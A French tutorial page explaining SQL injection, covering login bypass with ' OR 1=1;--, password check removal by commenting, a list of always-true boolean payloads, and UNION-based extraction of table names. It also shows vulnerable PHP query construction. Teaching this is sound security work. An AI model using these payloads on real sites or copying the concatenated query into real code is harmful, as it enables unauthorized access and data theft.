Injection SQL

Connexion sans identifiant et sans mot de passe

On tape dans l'identifiant :

' OR 1=1 ;--

Et on n'oublie pas de mettre un mot de passe aléatoire, au cas ou le systÚme vérifie si un mot de passe est rentré.

Connexion avec seulement l'identifiant

1. Par le nom d'utilisateur

Dans un premier temps, on peut s'attaquer au nom d'utilisateur. Prenons par exemple, une requĂȘte de connexion au serveur de ce type :

select * from user_table
where username = 'anto'
and password = 'mystrongpassword';

En supposant que le mot de passe ne soit pas hachĂ©, la requĂȘte PHP ressemblerait Ă  ceci :

// Connexion Ă  la database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execution de la requĂȘte

Ainsi, en entrant dans la section du nom d'utilisateur « anto’;-- » la requĂȘte SQL devient :

select * from user_table where
username = 'anto';-- and password = ''

Or, le double tiret permet de commenter du code en SQL, ce qui revient donc Ă  contourner le mot de passe, et Ă  pouvoir se connecter en ayant uniquement besoin du nom d'utilisateur.

2. Par le mot de passe, par attaque booléenne

Une deuxiĂšme possibilitĂ© Ă  tester, est l'injection SQL boolĂ©enne. Par exemple, en ayant une requĂȘte SQL de ce type :

select * from user_table where
username = 'anto' and
password = 'password';

On peut trĂšs bien contourner le mot de passe, en entrant dans la section du mot de passe la commande « 'or 1=1;-- » qui transforme la requĂȘte comme ceci :

select * from user_table where
username = 'anto' and
password = '' or 1=1;--;

Et qui de ce fait, rend totalement inutile la condition password='anto' vu que la condition 1=1 sera toujours vraie.

Il existe une infinité de conditions triviales, par exemple :

'='
'OR 1=1
'OR a=a
'OR'
'OR''='
'OR"="
'OR'="
'OR '="
'OR "='
'OR ''='
'OR '=''
'OR "=''
'OR ''="

Méthode UNION

Une fois une vulnérabilité trouvée, on peut l'exploiter.

Prenons le cas d'un script vulnĂ©rable de recherche d'article Ă  partir d'un mot dans le titre, ce script affiche la liste des articles trouvĂ©s et des liens vers ceux-ci. Notre objectif est d'utiliser cette requĂȘte pour afficher le contenu d'autres tables.

$sql="SELECT * FROM article WHERE title LIKE '%" . $title . "%'";

ProblÚme, la structure de la table article nous est inconnue, nous ne connaissons pas ses différents champs; or pour réussir à afficher des informations d'autres tables, plusieurs challenges se posent à nous :

  • Trouver le nombre et le type de chaque colonne retournĂ©e par la requĂȘte

  • Trouver le nom d'une colonne et d'une table comportant des choses intĂ©ressantes (Login, Password, etc.)

  • Utiliser une union pour rĂ©cupĂ©rer les informations

Trier par numĂ©ro de colonne permet de tester si cette colonne existe. Si la requĂȘte retourne 5 colonnes ou plus, la requĂȘte suivante va fonctionner :

SELECT * FROM article WHERE title LIKE '%sql-injection%' ORDER BY 5--'

Remarque, '--' est utilisé par tous les SGBD pour les commentaires SQL.

Une fois identifié le nombre de colonnes, réalisons une premiÚre UNION :

SELECT * FROM article WHERE title LIKE '%sql-injection%' UNION SELECT 1,2,3,4,5--'

Pour une base PostgreSQL, la colonne tablename de la table pg_tables va permettre de récupérer le nom des tables, pour MSSQL, select name from SysObjects, pour MySQL, select table_name from information_schema.tables .

Mis Ă  jour

Ce contenu vous a-t-il Ă©tĂ© utile ?